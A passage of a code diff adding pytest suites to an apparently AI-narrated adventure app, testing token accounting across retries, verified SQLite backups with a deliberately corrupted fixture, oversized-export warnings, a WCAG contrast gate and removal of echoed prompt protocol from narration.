ScriptedProvider.replies = [reply]
|
||||
return client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "look at the seal"})
|
||||
|
||||
|
||||
def test_a_turn_records_what_the_server_read(client, monkeypatch):
|
||||
response = _play(client, monkeypatch, None)
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
estimate = _latest_ai(client.adv_id).context_snapshot["tokens"]["estimate"]
|
||||
|
||||
response = _play(client, monkeypatch,
|
||||
{"prompt_tokens": estimate + 13, "completion_tokens": 9})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
snapshot = _latest_ai(client.adv_id).context_snapshot
|
||||
accounting = snapshot["accounting"]
|
||||
assert accounting["status"] == contextwindow.FITS
|
||||
assert accounting["server_prompt_tokens"] == estimate + 13
|
||||
assert accounting["estimate"] == snapshot["tokens"]["estimate"]
|
||||
assert '"accounting"' in response.text
|
||||
assert contextwindow.FITS in response.text
|
||||
|
||||
|
||||
def test_a_turn_with_no_reported_usage_is_unknown(client, monkeypatch):
|
||||
response = _play(client, monkeypatch, None)
|
||||
assert response.status_code == 200
|
||||
assert _latest_ai(client.adv_id).context_snapshot["accounting"]["status"] == (
|
||||
contextwindow.UNKNOWN)
|
||||
|
||||
|
||||
def test_a_suspected_truncation_keeps_the_turn_and_says_so(client, monkeypatch, caplog):
|
||||
"""A1-7 and A1-8. The reader watched the narration arrive; it stays."""
|
||||
response = _play(client, monkeypatch, {"prompt_tokens": 12, "completion_tokens": 9},
|
||||
reply="The seal holds, and the rain goes on.")
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
action = _latest_ai(client.adv_id)
|
||||
assert action is not None
|
||||
assert action.text == "The seal holds, and the rain goes on."
|
||||
accounting = action.context_snapshot["accounting"]
|
||||
assert accounting["status"] == contextwindow.TRUNCATION_SUSPECTED
|
||||
assert contextwindow.TRUNCATION_SUSPECTED in response.text
|
||||
assert any(contextwindow.TRUNCATION_SUSPECTED in r.getMessage() for r in caplog.records)
|
||||
|
||||
# Inspectable afterwards through the same route the context panel reads.
|
||||
context = client.get(
|
||||
f"/api/adventures/{client.adv_id}/actions/{action.id}/context")
|
||||
assert context.status_code == 200
|
||||
assert context.json()["accounting"]["status"] == contextwindow.TRUNCATION_SUSPECTED
|
||||
|
||||
|
||||
def test_each_attempt_keeps_its_own_accounting_when_the_live_flag_moves():
|
||||
"""Found by the A2 long run. Accounting belongs to one API call, not to the
|
||||
turn's shared prompt. A retry demotes the old attempt, and a take selection
|
||||
hands the prompt from one attempt to another. Neither may drop an attempt's
|
||||
accounting or give it another attempt's."""
|
||||
from app import attempts
|
||||
|
||||
class Node:
|
||||
def __init__(self, snapshot):
|
||||
self.context_snapshot = snapshot
|
||||
|
||||
shared = {"tokens": {"estimate": 3000}, "sections": [], "window": {"verified": True}}
|
||||
first = Node(shared | {"raw_output": "one", "usage": {"prompt_tokens": 3015},
|
||||
"accounting": {"status": contextwindow.FITS, "server_prompt_tokens": 3015}})
|
||||
second = Node({"raw_output": "two", "usage": {"prompt_tokens": 12},
|
||||
"accounting": {"status": contextwindow.TRUNCATION_SUSPECTED,
|
||||
"server_prompt_tokens": 12}})
|
||||
|
||||
# Superseded by a retry: the old attempt keeps only its own slices.
|
||||
attempts.keep_own_slices(Node(dict(first.context_snapshot)))
|
||||
demoted = Node(dict(first.context_snapshot))
|
||||
attempts.keep_own_slices(demoted)
|
||||
assert demoted.context_snapshot["accounting"]["server_prompt_tokens"] == 3015
|
||||
assert "tokens" not in demoted.context_snapshot
|
||||
|
||||
# The prompt moves to the second attempt; each keeps its own accounting.
|
||||
attempts.hand_over_the_prompt(first, second)
|
||||
assert second.context_snapshot["tokens"] == {"estimate": 3000}
|
||||
assert second.context_snapshot["accounting"]["status"] == contextwindow.TRUNCATION_SUSPECTED
|
||||
assert second.context_snapshot["accounting"]["server_prompt_tokens"] == 12
|
||||
assert first.context_snapshot["accounting"]["status"] == contextwindow.FITS
|
||||
assert "tokens" not in first.context_snapshot
|
||||
|
||||
|
||||
def test_a_retry_leaves_each_take_with_its_own_accounting(client, monkeypatch):
|
||||
"""End to end, through the real retry route. Before the fix the live take
|
||||
inherited the superseded take's accounting, so the inspector could show one
|
||||
call's server count as another's."""
|
||||
response = _play(client, monkeypatch, None, reply="The first take.")
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
estimate = _latest_ai(client.adv_id).context_snapshot["tokens"]["estimate"]
|
||||
# Replay the first take with a real count, so it has accounting of its own.
|
||||
with SessionLocal() as db:
|
||||
first = (db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == client.adv_id,
|
||||
models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot)).first())
|
||||
snapshot = dict(first.context_snapshot)
|
||||
snapshot["accounting"] = contextwindow.classify_usage(
|
||||
{"prompt_tokens": estimate + 15}, estimate=estimate, budget=4096,
|
||||
max_output_tokens=500, window_verified=True)
|
||||
first.context_snapshot = snapshot
|
||||
db.commit()
|
||||
first_id = first.id
|
||||
|
||||
monkeypatch.setattr(ScriptedProvider, "last_usage",
|
||||
{"prompt_tokens": 12, "completion_tokens": 9})
|
||||
ScriptedProvider.replies = ["The second take."]
|
||||
retried = client.post(f"/api/adventures/{client.adv_id}/retry")
|
||||
assert retried.status_code == 200, retried.text[:300]
|
||||
|
||||
with SessionLocal() as db:
|
||||
rows = (db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == client.adv_id,
|
||||
models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id).all())
|
||||
by_id = {row.id: row for row in rows}
|
||||
old = by_id[first_id]
|
||||
new = [row for row in rows if row.id != first_id][-1]
|
||||
assert new.text == "The second take."
|
||||
assert new.live and not old.live
|
||||
# The superseded take keeps its own accounting and gives up the prompt.
|
||||
assert old.context_snapshot["accounting"]["status"] == contextwindow.FITS
|
||||
assert old.context_snapshot["accounting"]["server_prompt_tokens"] == estimate + 15
|
||||
assert "tokens" not in old.context_snapshot
|
||||
# The live take carries the prompt and its own accounting, not the old one's.
|
||||
assert "tokens" in new.context_snapshot
|
||||
assert new.context_snapshot["accounting"]["status"] == (
|
||||
contextwindow.TRUNCATION_SUSPECTED)
|
||||
assert new.context_snapshot["accounting"]["server_prompt_tokens"] == 12
|
||||
|
||||
|
||||
def test_an_exceeded_turn_is_also_kept(client, monkeypatch):
|
||||
response = _play(client, monkeypatch, {"prompt_tokens": 3900, "completion_tokens": 9})
|
||||
assert response.status_code == 200
|
||||
action = _latest_ai(client.adv_id)
|
||||
assert action.text == "The crypt is still sealed."
|
||||
assert action.context_snapshot["accounting"]["status"] == contextwindow.EXCEEDED
|
||||
@@ -0,0 +1,294 @@
|
||||
"""v1.1 WP-D: a backup that was really checked, and an export that says what it is.
|
||||
|
||||
Two recovery-path claims, each of which was true only in the small before this
|
||||
package:
|
||||
|
||||
- **A backup is verified.** M9 ran `PRAGMA quick_check` on the finished copy.
|
||||
That reads every page and every record, and skips the cross-check between a
|
||||
table and its indexes — so a copy whose index disagrees with its table passed.
|
||||
`test_the_fixture_is_the_difference_between_the_two_checks` builds exactly that
|
||||
damage and shows the two pragmas disagreeing about it, before anything here
|
||||
uses it as evidence.
|
||||
- **An export is importable.** Nothing compared the bundle with
|
||||
`limits.MAX_IMPORT_BODY_BYTES`, so a campaign could be exported and then
|
||||
refused by its own importer, with the reader finding out at the moment they
|
||||
needed it. The export still succeeds — the file is complete, and a version
|
||||
that refused to write it would destroy the copy someone was trying to make —
|
||||
and now it says so.
|
||||
|
||||
python -m pytest tests/test_v11_d_recovery.py -v
|
||||
"""
|
||||
|
||||
import json
|
||||
import sqlite3
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, backup, limits, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client():
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="wp-d@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(user_id=user.id, model="test-model"))
|
||||
adventure = models.Adventure(user_id=user.id, title="Recovery")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(adventure_id=adventure.id, type="start", text="The story opens."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id))
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
test_client.user_id = user_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
# ------------------------------------------------------------ the fixture
|
||||
|
||||
def build_corrupt_copy(path: Path) -> None:
|
||||
"""A database whose index disagrees with its table, and nothing else.
|
||||
|
||||
One digit inside one index leaf page is changed, so that entry names a key
|
||||
no row holds and one row's key is in no index entry. Every page is still
|
||||
structurally sound and every record still parses, which is the whole point:
|
||||
this is the damage `quick_check` is not looking for.
|
||||
"""
|
||||
path.unlink(missing_ok=True)
|
||||
connection = sqlite3.connect(path)
|
||||
connection.execute("PRAGMA page_size=4096")
|
||||
connection.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, k TEXT NOT NULL, filler TEXT)")
|
||||
connection.execute("CREATE INDEX i_t_k ON t(k)")
|
||||
connection.executemany("INSERT INTO t (k, filler) VALUES (?, ?)",
|
||||
[(f"k{n:06d}", "x" * 40) for n in range(400)])
|
||||
connection.commit()
|
||||
page_size = connection.execute("PRAGMA page_size").fetchone()[0]
|
||||
leaves = [row[0] for row in connection.execute(
|
||||
"SELECT pageno FROM dbstat WHERE name='i_t_k' AND pagetype='leaf' ORDER BY pageno")]
|
||||
connection.close()
|
||||
assert leaves, "the index must have a leaf page to damage"
|
||||
|
||||
raw = bytearray(path.read_bytes())
|
||||
start = (leaves[0] - 1) * page_size
|
||||
page = raw[start:start + page_size]
|
||||
at = page.find(b"k000")
|
||||
assert at != -1, "expected an indexed key on the index's first leaf page"
|
||||
page[at + 4] = ord("9") # k000144 -> k000944: a key no row has
|
||||
raw[start:start + page_size] = page
|
||||
path.write_bytes(bytes(raw))
|
||||
|
||||
|
||||
def check(path: Path, pragma: str) -> str:
|
||||
connection = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
|
||||
try:
|
||||
return ", ".join(str(row[0]) for row in connection.execute(f"PRAGMA {pragma}").fetchall())
|
||||
finally:
|
||||
connection.close()
|
||||
|
||||
|
||||
def test_the_fixture_is_the_difference_between_the_two_checks(tmp_path):
|
||||
"""Before using it as evidence: quick_check calls this database fine."""
|
||||
damaged = tmp_path / "damaged.db"
|
||||
build_corrupt_copy(damaged)
|
||||
assert check(damaged, "quick_check") == "ok"
|
||||
integrity = check(damaged, "integrity_check")
|
||||
assert integrity != "ok"
|
||||
assert "i_t_k" in integrity # it names the index that disagrees
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- backups
|
||||
|
||||
def test_a_healthy_backup_passes_the_full_check_and_is_kept(client, tmp_path):
|
||||
source = tmp_path / "campaign.db"
|
||||
source.write_bytes(Path(str(engine.url.database)).read_bytes())
|
||||
result = backup.create(source)
|
||||
assert result.integrity == "ok"
|
||||
assert result.path.exists() and result.bytes > 0
|
||||
assert check(result.path, "integrity_check") == "ok"
|
||||
assert result.path.parent == backup.directory(source)
|
||||
|
||||
|
||||
def test_the_backup_runs_the_full_check_not_the_quick_one(client, tmp_path, monkeypatch):
|
||||
"""The pragma itself, named. SQLite traces every statement it executes, so
|
||||
this reads what the backup actually asked the copy rather than inferring it."""
|
||||
asked: list[str] = []
|
||||
real_connect = sqlite3.connect
|
||||
|
||||
def tracing(*args, **kwargs):
|
||||
connection = real_connect(*args, **kwargs)
|
||||
connection.set_trace_callback(asked.append)
|
||||
return connection
|
||||
|
||||
monkeypatch.setattr(backup.sqlite3, "connect", tracing)
|
||||
source = tmp_path / "campaign.db"
|
||||
source.write_bytes(Path(str(engine.url.database)).read_bytes())
|
||||
backup.create(source).path.unlink()
|
||||
assert any("integrity_check" in sql for sql in asked), asked
|
||||
assert not any("quick_check" in sql for sql in asked), asked
|
||||
|
||||
|
||||
def test_a_copy_the_full_check_rejects_is_not_kept(client, tmp_path, monkeypatch):
|
||||
"""The copy is damaged after it is written and before it is verified, which
|
||||
is where a real page-level fault would appear: between the copy and the
|
||||
rename. Nothing wearing a backup's name may be left behind."""
|
||||
source = tmp_path / "campaign.db"
|
||||
source.write_bytes(Path(str(engine.url.database)).read_bytes())
|
||||
real_copy = backup._copy
|
||||
|
||||
def damage(source_path, working):
|
||||
pages = real_copy(source_path, working)
|
||||
build_corrupt_copy(working)
|
||||
return pages
|
||||
|
||||
monkeypatch.setattr(backup, "_copy", damage)
|
||||
with pytest.raises(backup.BackupError) as refused:
|
||||
backup.create(source)
|
||||
assert "did not verify" in str(refused.value)
|
||||
assert "i_t_k" in str(refused.value) # it says what was wrong
|
||||
kept = list(backup.directory(source).glob("*"))
|
||||
assert kept == [], f"a rejected backup was left behind: {kept}"
|
||||
|
||||
|
||||
def test_a_rejected_backup_leaves_an_earlier_good_one_alone(client, tmp_path, monkeypatch):
|
||||
source = tmp_path / "campaign.db"
|
||||
source.write_bytes(Path(str(engine.url.database)).read_bytes())
|
||||
good = backup.create(source)
|
||||
before = good.path.read_bytes()
|
||||
|
||||
real_copy = backup._copy
|
||||
|
||||
def damage(source_path, working):
|
||||
pages = real_copy(source_path, working)
|
||||
build_corrupt_copy(working)
|
||||
return pages
|
||||
|
||||
monkeypatch.setattr(backup, "_copy", damage)
|
||||
with pytest.raises(backup.BackupError):
|
||||
backup.create(source)
|
||||
assert good.path.exists()
|
||||
assert good.path.read_bytes() == before
|
||||
assert check(good.path, "integrity_check") == "ok"
|
||||
assert [p.name for p in backup.directory(source).glob("*")] == [good.path.name]
|
||||
|
||||
|
||||
def test_the_backup_file_semantics_are_unchanged(client, tmp_path):
|
||||
"""Same directory, same stamped name, same reported fields: WP-D changed the
|
||||
check, not the file."""
|
||||
source = tmp_path / "campaign.db"
|
||||
source.write_bytes(Path(str(engine.url.database)).read_bytes())
|
||||
first = backup.create(source)
|
||||
second = backup.create(source)
|
||||
assert first.path.name.startswith(backup.PREFIX) and first.path.suffix == ".db"
|
||||
assert first.path != second.path, "an existing backup is never overwritten"
|
||||
assert set(first.as_dict()) == {"filename", "bytes", "pages", "seconds", "integrity"}
|
||||
listed = [row["filename"] for row in backup.existing(source)]
|
||||
assert sorted(listed) == sorted([first.path.name, second.path.name])
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- exports
|
||||
|
||||
def export(client, adv_id):
|
||||
response = client.get(f"/api/adventures/{adv_id}/export")
|
||||
assert response.status_code == 200, response.text[:200]
|
||||
return response
|
||||
|
||||
|
||||
def test_a_normal_export_carries_no_warning(client):
|
||||
response = export(client, client.adv_id)
|
||||
assert "X-Export-Warning" not in response.headers
|
||||
assert response.headers["X-Importable-By-This-Version"] == "true"
|
||||
assert int(response.headers["X-Import-Limit-Bytes"]) == limits.MAX_IMPORT_BODY_BYTES
|
||||
assert int(response.headers["X-Export-Bytes"]) == len(response.content)
|
||||
assert response.json()["format"] == "ai-dnd-adventure-v3"
|
||||
|
||||
|
||||
def fill_past_the_limit(adv_id: int) -> int:
|
||||
"""Real rows, until the campaign's bundle is genuinely over the ceiling.
|
||||
|
||||
Not a mocked size: the export below serialises all of it.
|
||||
"""
|
||||
chunk = "The rain kept on over the harbour road, and nobody came. " * 900 # ~50 kB
|
||||
written = 0
|
||||
with SessionLocal() as db:
|
||||
while written < limits.MAX_IMPORT_BODY_BYTES + 2 * 1024 * 1024:
|
||||
db.add_all([models.Action(adventure_id=adv_id, type="ai", text=chunk)
|
||||
for _ in range(40)])
|
||||
db.commit()
|
||||
written += 40 * len(chunk)
|
||||
return written
|
||||
|
||||
|
||||
def test_an_oversized_export_is_still_delivered_and_says_it_cannot_come_back(client):
|
||||
fill_past_the_limit(client.adv_id)
|
||||
response = export(client, client.adv_id)
|
||||
|
||||
# Delivered, whole, and still the same format.
|
||||
body = response.content
|
||||
assert len(body) > limits.MAX_IMPORT_BODY_BYTES
|
||||
parsed = json.loads(body)
|
||||
assert parsed["format"] == "ai-dnd-adventure-v3"
|
||||
assert len(parsed["actions"]) > 40
|
||||
|
||||
# And honest about what this version can do with it.
|
||||
assert response.headers["X-Importable-By-This-Version"] == "false"
|
||||
warning = response.headers["X-Export-Warning"]
|
||||
assert limits.import_limit_label() in warning
|
||||
assert "exported successfully" in warning
|
||||
assert "cannot import" in warning
|
||||
assert int(response.headers["X-Export-Bytes"]) == len(body)
|
||||
|
||||
|
||||
def test_the_warning_follows_the_configured_limit(monkeypatch):
|
||||
"""The text is generated from the constant, so changing the constant changes
|
||||
the sentence rather than leaving a stale number in it."""
|
||||
assert "20 MB" in limits.oversized_export_warning(21_000_000)
|
||||
monkeypatch.setattr(limits, "MAX_IMPORT_BODY_BYTES", 50 * 1024 * 1024)
|
||||
assert limits.import_limit_label() == "50 MB"
|
||||
assert "50 MB" in limits.oversized_export_warning(60_000_000)
|
||||
assert "20 MB" not in limits.oversized_export_warning(60_000_000)
|
||||
|
||||
|
||||
def test_the_bundle_itself_never_carries_the_warning(client):
|
||||
"""The warning is about the export, not part of the portable story file."""
|
||||
fill_past_the_limit(client.adv_id)
|
||||
parsed = json.loads(export(client, client.adv_id).content)
|
||||
flat = json.dumps(parsed).lower()
|
||||
assert "import limit" not in flat
|
||||
assert "cannot import" not in flat
|
||||
for key in parsed:
|
||||
assert "warning" not in key.lower()
|
||||
|
||||
|
||||
def test_that_same_bundle_is_refused_by_import_naming_the_limit(client):
|
||||
fill_past_the_limit(client.adv_id)
|
||||
body = export(client, client.adv_id).content
|
||||
response = client.post("/api/adventures/import", content=body,
|
||||
headers={"Content-Type": "application/json"})
|
||||
assert response.status_code == 413
|
||||
detail = response.json()["detail"]
|
||||
assert "too large" in detail.lower()
|
||||
assert limits.import_limit_label() in detail
|
||||
|
||||
|
||||
def test_a_bundle_under_the_limit_still_imports(client):
|
||||
"""The refusal is about size alone: the ordinary path is untouched."""
|
||||
body = export(client, client.adv_id).content
|
||||
assert len(body) < limits.MAX_IMPORT_BODY_BYTES
|
||||
response = client.post("/api/adventures/import", content=body,
|
||||
headers={"Content-Type": "application/json"})
|
||||
assert response.status_code == 201, response.text[:200]
|
||||
@@ -0,0 +1,152 @@
|
||||
"""v1.1 WP-E: the contrast audit is a gate, not a report.
|
||||
|
||||
Before this package `tools/contrast_audit.py` measured control boundaries,
|
||||
printed that two of them were below 3:1, and exited 0 anyway — on the argument
|
||||
that a control is identified by its label rather than its edge. A check that
|
||||
cannot fail is not a check, and these tests are what make it one: the threshold
|
||||
is exercised from both sides, on a real tokens file, so a future palette change
|
||||
that dims a control's edge stops the run instead of adding a line to it.
|
||||
|
||||
python -m pytest tests/test_v11_e_contrast.py -v
|
||||
"""
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "tools"))
|
||||
|
||||
import contrast_audit as audit # noqa: E402
|
||||
|
||||
|
||||
# --------------------------------------------------------------- the maths
|
||||
|
||||
def test_the_ratio_is_the_wcag_ratio():
|
||||
"""Anchored on values with known answers, so a broken formula is visible."""
|
||||
assert audit.ratio("#ffffff", "#000000") == pytest.approx(21.0, abs=0.01)
|
||||
assert audit.ratio("#ffffff", "#ffffff") == pytest.approx(1.0, abs=0.001)
|
||||
# Order does not matter: contrast is symmetric.
|
||||
assert audit.ratio("#131320", "#676792") == pytest.approx(
|
||||
audit.ratio("#676792", "#131320"), abs=1e-9)
|
||||
|
||||
|
||||
# ------------------------------------------------------- the gate itself
|
||||
|
||||
def tokens_file(tmp_path: Path, **overrides: str) -> Path:
|
||||
"""A real tokens file with named colours replaced."""
|
||||
source = audit.TOKENS.read_text()
|
||||
for name, value in overrides.items():
|
||||
token = "--" + name.replace("_", "-")
|
||||
start = source.index(f"{token}: ")
|
||||
end = source.index(";", start)
|
||||
source = source[:start] + f"{token}: {value}" + source[end:]
|
||||
written = tmp_path / "tokens.css"
|
||||
written.write_text(source)
|
||||
return written
|
||||
|
||||
|
||||
def run_against(path: Path, monkeypatch) -> int:
|
||||
monkeypatch.setattr(audit, "TOKENS", path)
|
||||
return audit.main()
|
||||
|
||||
|
||||
def test_a_boundary_below_three_to_one_fails_the_run(tmp_path, monkeypatch, capsys):
|
||||
"""2.99:1 against --bg-input — the wrong side of the line by one hundredth.
|
||||
|
||||
This value clears 3:1 against --bg-panel (3.21:1), so it would have passed
|
||||
the audit as M11 wrote it. It fails now because the floor is taken against
|
||||
the background the control is actually drawn on.
|
||||
"""
|
||||
below = tokens_file(tmp_path, border="#58639a")
|
||||
assert run_against(below, monkeypatch) == 1
|
||||
printed = capsys.readouterr().out
|
||||
assert "2.99:1" in printed
|
||||
assert "FAIL" in printed
|
||||
assert "below 3:1 (WCAG 1.4.11)" in printed
|
||||
|
||||
|
||||
def test_a_boundary_at_three_to_one_passes(tmp_path, monkeypatch, capsys):
|
||||
"""3.00:1 — the right side of the same line, one hundredth from the value
|
||||
above, and not failed for arithmetic the reader cannot see."""
|
||||
at = tokens_file(tmp_path, border="#58639b")
|
||||
assert run_against(at, monkeypatch) == 0
|
||||
printed = capsys.readouterr().out
|
||||
assert "3.00:1" in printed
|
||||
assert "every control boundary clears 3:1" in printed
|
||||
|
||||
|
||||
def test_the_v1_0_0_boundary_would_now_fail(tmp_path, monkeypatch, capsys):
|
||||
"""The value v1.0.0 shipped. This is the defect WP-E closes, and the gate
|
||||
has to be the thing that would have caught it."""
|
||||
shipped = tokens_file(tmp_path, border="#2b2b3d")
|
||||
assert run_against(shipped, monkeypatch) == 1
|
||||
assert "1.24:1" in capsys.readouterr().out # against --bg-input, the worst case
|
||||
|
||||
|
||||
def test_a_text_pair_below_four_point_five_still_fails(tmp_path, monkeypatch, capsys):
|
||||
"""WP-E raised the boundary floor and must not have lowered the text one."""
|
||||
dimmed = tokens_file(tmp_path, text_dim="#5a5750")
|
||||
assert run_against(dimmed, monkeypatch) == 1
|
||||
assert "below WCAG AA (1.4.3)" in capsys.readouterr().out
|
||||
|
||||
|
||||
def test_a_missing_token_is_a_failure_not_a_skip(tmp_path, monkeypatch, capsys):
|
||||
source = audit.TOKENS.read_text().replace("--border-bright:", "--border-was-renamed:")
|
||||
written = tmp_path / "tokens.css"
|
||||
written.write_text(source)
|
||||
assert run_against(written, monkeypatch) == 1
|
||||
assert "MISSING TOKEN" in capsys.readouterr().out
|
||||
|
||||
|
||||
# ------------------------------------------------- the shipped palette
|
||||
|
||||
def test_the_real_tokens_pass_both_criteria(capsys):
|
||||
"""The palette as it stands, through the same gate CI would run."""
|
||||
assert audit.main() == 0
|
||||
printed = capsys.readouterr().out
|
||||
assert "every text pair clears WCAG AA (1.4.3)" in printed
|
||||
assert "every control boundary clears 3:1 (1.4.11)" in printed
|
||||
assert "FAIL" not in printed
|
||||
|
||||
|
||||
def test_every_boundary_pair_is_measured_against_the_background_it_is_drawn_on():
|
||||
"""The audit used to check borders only against --bg-panel, which is not
|
||||
where the bordered controls are: inputs and buttons sit on --bg-input
|
||||
(styles/forms.css), which is lighter and therefore harder. Checking only the
|
||||
easier background would let a token pass while the real control failed."""
|
||||
boundary = [(fg, bg) for kind, fg, bg, _, _ in audit.PAIRS if kind == "boundary"]
|
||||
for background in ("--bg-input", "--bg-panel", "--bg"):
|
||||
assert ("--border", background) in boundary, background
|
||||
assert ("--border-bright", "--bg-input") in boundary
|
||||
|
||||
|
||||
def test_the_text_baselines_are_unchanged_by_wp_e():
|
||||
"""WP-E changed only boundary tokens. These are the M11 text measurements,
|
||||
and they have to still be exactly what the earlier reports recorded."""
|
||||
tokens = audit.read_tokens(audit.TOKENS)
|
||||
measured = {
|
||||
"body text on the page": audit.ratio(tokens["--text"], tokens["--bg"]),
|
||||
"body text in a panel": audit.ratio(tokens["--text"], tokens["--bg-panel"]),
|
||||
"secondary text in a panel": audit.ratio(tokens["--text-dim"], tokens["--bg-panel"]),
|
||||
"secondary text on the page": audit.ratio(tokens["--text-dim"], tokens["--bg"]),
|
||||
}
|
||||
assert measured["body text on the page"] == pytest.approx(14.57, abs=0.01)
|
||||
assert measured["body text in a panel"] == pytest.approx(13.57, abs=0.01)
|
||||
assert measured["secondary text in a panel"] == pytest.approx(5.48, abs=0.01)
|
||||
assert measured["secondary text on the page"] == pytest.approx(5.88, abs=0.01)
|
||||
|
||||
|
||||
def test_the_hover_edge_stays_brighter_than_the_resting_edge():
|
||||
"""Rest and hover have to remain distinguishable from each other, not merely
|
||||
each clear the floor against the background."""
|
||||
tokens = audit.read_tokens(audit.TOKENS)
|
||||
panel = tokens["--bg-panel"]
|
||||
assert audit.ratio(tokens["--border-bright"], panel) > audit.ratio(tokens["--border"], panel)
|
||||
|
||||
|
||||
def test_a_boundary_never_becomes_as_loud_as_body_text():
|
||||
"""A control's edge that outshines the words inside it is its own defect."""
|
||||
tokens = audit.read_tokens(audit.TOKENS)
|
||||
panel = tokens["--bg-panel"]
|
||||
assert audit.ratio(tokens["--border-bright"], panel) < audit.ratio(tokens["--text"], panel)
|
||||
@@ -0,0 +1,324 @@
|
||||
"""v1.1 WP-A2: the protocol a narrator copies stays out of the story, and nothing else does.
|
||||
|
||||
The M11 closeout's identity run (an office meeting, a 3B narrator, a 4,096
|
||||
window) stored four turns carrying text the application wrote, not the story:
|
||||
|
||||
- `> Create_entity(new_person, "john", …` — the event vocabulary as the prompt
|
||||
printed it, `name(field, …)`, copied as if it were a call;
|
||||
- `> set_possession(silver-key, "alice") Adds the silver key to Alice's
|
||||
possession.` — the call again, naming the fantasy example slug from the fixed
|
||||
state rule, in a meeting room;
|
||||
- `Scene: Bill, Alice, … (at The meeting room)` — the renderer's own scene line;
|
||||
- `[Hard limit: your next turn must not exceed 180 words, … append the state
|
||||
block well inside the limit.]` — the length hint, reworded at the front and
|
||||
verbatim at the end.
|
||||
|
||||
v1.0.0 removed none of them. The rule this module is held to is unchanged from
|
||||
M5: **removing story is worse than leaving protocol.** Every removal below is
|
||||
anchored to a string or a vocabulary the application owns, and every one has
|
||||
story beside it that must survive.
|
||||
|
||||
python -m pytest tests/test_v11_protocol_echo.py -v
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
|
||||
import pytest
|
||||
|
||||
from app.context import builder
|
||||
from app.narrative import events, extract, render
|
||||
|
||||
# ---------------------------------------------------------------- the prompt
|
||||
|
||||
#: The identifiers the v1 state rule taught every campaign, from the fantasy
|
||||
#: acceptance fixture. None may come back into a fixed instruction.
|
||||
FANTASY_IDENTIFIERS = ("mara", "silver-key", "silver key", "old-abbey", "abbey",
|
||||
"aldric", "westhaven", "crypt", "edrin")
|
||||
#: And nothing from the science-fiction fixture either: neutral means neutral,
|
||||
#: not "the other genre".
|
||||
SCIFI_IDENTIFIERS = ("persephone", "imani", "data-crystal", "data crystal", "airlock")
|
||||
|
||||
|
||||
def _fixed_instructions() -> str:
|
||||
return "\n".join([
|
||||
extract.EMIT_RULE,
|
||||
extract.EMIT_REMINDER,
|
||||
events.vocabulary_for_prompt(),
|
||||
builder.length_hint(500),
|
||||
builder.length_hint(500, "brief"),
|
||||
builder.length_hint(500, "long"),
|
||||
builder.length_hint(120),
|
||||
]).lower()
|
||||
|
||||
|
||||
@pytest.mark.parametrize("identifier", FANTASY_IDENTIFIERS + SCIFI_IDENTIFIERS)
|
||||
def test_the_fixed_state_instructions_name_no_fixture_identifier(identifier):
|
||||
"""A2-1. The example slug the office run copied cannot come back."""
|
||||
assert not re.search(rf"\b{re.escape(identifier)}\b", _fixed_instructions())
|
||||
|
||||
|
||||
def test_the_example_uses_neutral_identifiers():
|
||||
for neutral in ("character-1", "item-1", "location-1"):
|
||||
assert neutral in extract.EMIT_RULE
|
||||
|
||||
|
||||
def test_the_worked_example_is_a_block_this_extractor_accepts():
|
||||
"""The example is the wire format, byte for byte, not an illustration of it."""
|
||||
example = extract.EMIT_RULE[extract.EMIT_RULE.index("```state"):]
|
||||
prose, parsed, _raw = extract.split("The door opens.\n\n" + example)
|
||||
assert prose == "The door opens."
|
||||
assert isinstance(parsed, dict)
|
||||
assert [e["type"] for e in parsed["events"]] == [
|
||||
"set_possession", "set_current_location"]
|
||||
for event in parsed["events"]:
|
||||
assert events.is_allowed(event["type"])
|
||||
|
||||
|
||||
def test_the_vocabulary_is_not_written_as_function_calls():
|
||||
"""A2-2. `set_possession(item, owner)` is the notation the narrator copied."""
|
||||
vocabulary = events.vocabulary_for_prompt()
|
||||
for name in events.SPECS:
|
||||
assert not re.search(rf"\b{name}\s*\(", vocabulary), name
|
||||
|
||||
|
||||
def test_every_event_is_described_in_the_shape_the_model_must_send():
|
||||
lines = events.vocabulary_for_prompt().splitlines()
|
||||
assert len(lines) == len(events.SPECS)
|
||||
for name, line in zip(events.SPECS, lines):
|
||||
shape = line.strip().split(" — ", 1)[0]
|
||||
obj = json.loads(shape)
|
||||
assert obj["type"] == name
|
||||
assert set(obj) - {"type"} == set(events.SPECS[name]["required"])
|
||||
for optional in events.SPECS[name]["optional"]:
|
||||
assert optional in line
|
||||
|
||||
|
||||
def test_the_length_hint_carries_the_phrases_the_extractor_recognises():
|
||||
"""One source for the words, so the builder and the extractor cannot drift."""
|
||||
for narration_length in ("", "brief", "medium", "long"):
|
||||
